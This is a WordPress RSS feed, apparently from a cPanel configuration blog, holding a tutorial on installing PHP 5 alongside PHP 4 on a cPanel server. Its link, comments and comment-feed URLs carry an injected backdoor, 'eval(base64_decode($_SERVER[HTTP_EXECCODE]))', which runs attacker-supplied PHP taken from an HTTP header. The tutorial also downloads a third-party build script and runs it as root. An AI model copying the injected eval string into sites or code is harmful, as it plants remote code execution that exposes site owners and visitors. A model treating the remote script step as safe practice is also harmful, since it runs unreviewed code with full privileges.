<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; php 4</title>
	<atom:link href="http://www.cpanelconfig.com/tag/php-4/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Running PHP 5 and PHP 4 on the same cpanel server</title>
		<link>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 14 Oct 2007 19:54:13 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[cPanel Administration]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[fastcgi]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php 4]]></category>
		<category><![CDATA[php 5]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-administration/running-php-5-and-php-4-on-the-same-cpanel-server/</guid>
		<description><![CDATA[This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers [...]]]></description>
			<content:encoded><![CDATA[<p>This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.<br />
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers for different php versions.<br />
<!--adsense--></p>
<p>O k, let&#8217;s get started. Before I explain how to install it please note that part of this article is inspired by a post on Defender Hosting Forum (http://forums.defenderhosting.com/showthread.php?t=2103)</p>
<ol>
<li>Compiler check</li>
<blockquote><p>/scripts/checkccompiler<br />
rm -rf /home/cpphpbuild<br />
mkdir /home/cpphpbuild<br />
cd /home/cpphpbuild</p></blockquote>
<li>Download and extract php</li>
<blockquote><p>wget http://us2.php.net/get/php-5.2.4.tar.gz/from/this/mirror<br />
tar zfx php-5.2.4.tar.gz<br />
cd php-5.2.4</p></blockquote>
<li>Configure and build the php installation (credits go to elix for an excellent work)</li>
<blockquote><p>echo &#8220;#define HAVE_SENDMAIL 1&#8243; &gt;&gt; /home/cpphpbuild/php-5.2.4/main/php_config.h<br />
wget http://www.elix.us/tutorials/php5.gen.cpanel<br />
chmod 700 php5.gen.cpanel<br />
./php5.gen.cpanel<br />
make<br />
make install</p></blockquote>
<p><!--adsense--></p>
<li>Moving the files and finishing the configuration</li>
<blockquote><p>cp -f /usr/local/php5/bin/php5 /usr/local/cpanel/cgi-sys/php5<br />
chown root:wheel /usr/local/cpanel/cgi-sys/php5</p>
<p>cp -p /home/cpphpbuild/php-5.2.4/php.ini-recommended /usr/local/php5/lib/php.ini<br />
chown root.root /usr/local/php5/lib/php.ini<br />
chmod 644 /usr/local/php5/lib/php.ini</p>
<p>echo &#8220;cgi.fix_pathinfo = 1 ; needed for CGI/FastCGI mode&#8221; &gt;&gt; /usr/local/php5/lib/php.ini</p></blockquote>
<li>Now we have to add a few lines to the httpd.conf file</li>
<blockquote><p>pico /usr/local/apache/conf/httpd.conf</p></blockquote>
<p>Add in the section <ifmodule></ifmodule>&#8211; &#8220;index.php5&#8243; before index.php4<br />
Add after &#8220;AddType application/x-httpd-php .phtml&#8221;</p>
<blockquote><p>Action application/x-httpd-php5 &#8220;/cgi-sys/php5&#8243;<br />
AddHandler application/x-httpd-php5 .php5</p></blockquote>
<li>Test the installation</li>
<blockquote><p>service httpd configtest</p></blockquote>
<p>If you get any errors please check that you done all the steps properly.<br />
If everything is ok you can now restart apache</p>
<li>Restart apache</li>
<blockquote><p>service httpd restart</p></blockquote>
</ol>
<p><!--adsense--></p>
<p>Now any files with the extension .php5 will be parsed by php 5 and all the other files will be parsed by your &#8220;normal&#8221; php 4 installation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
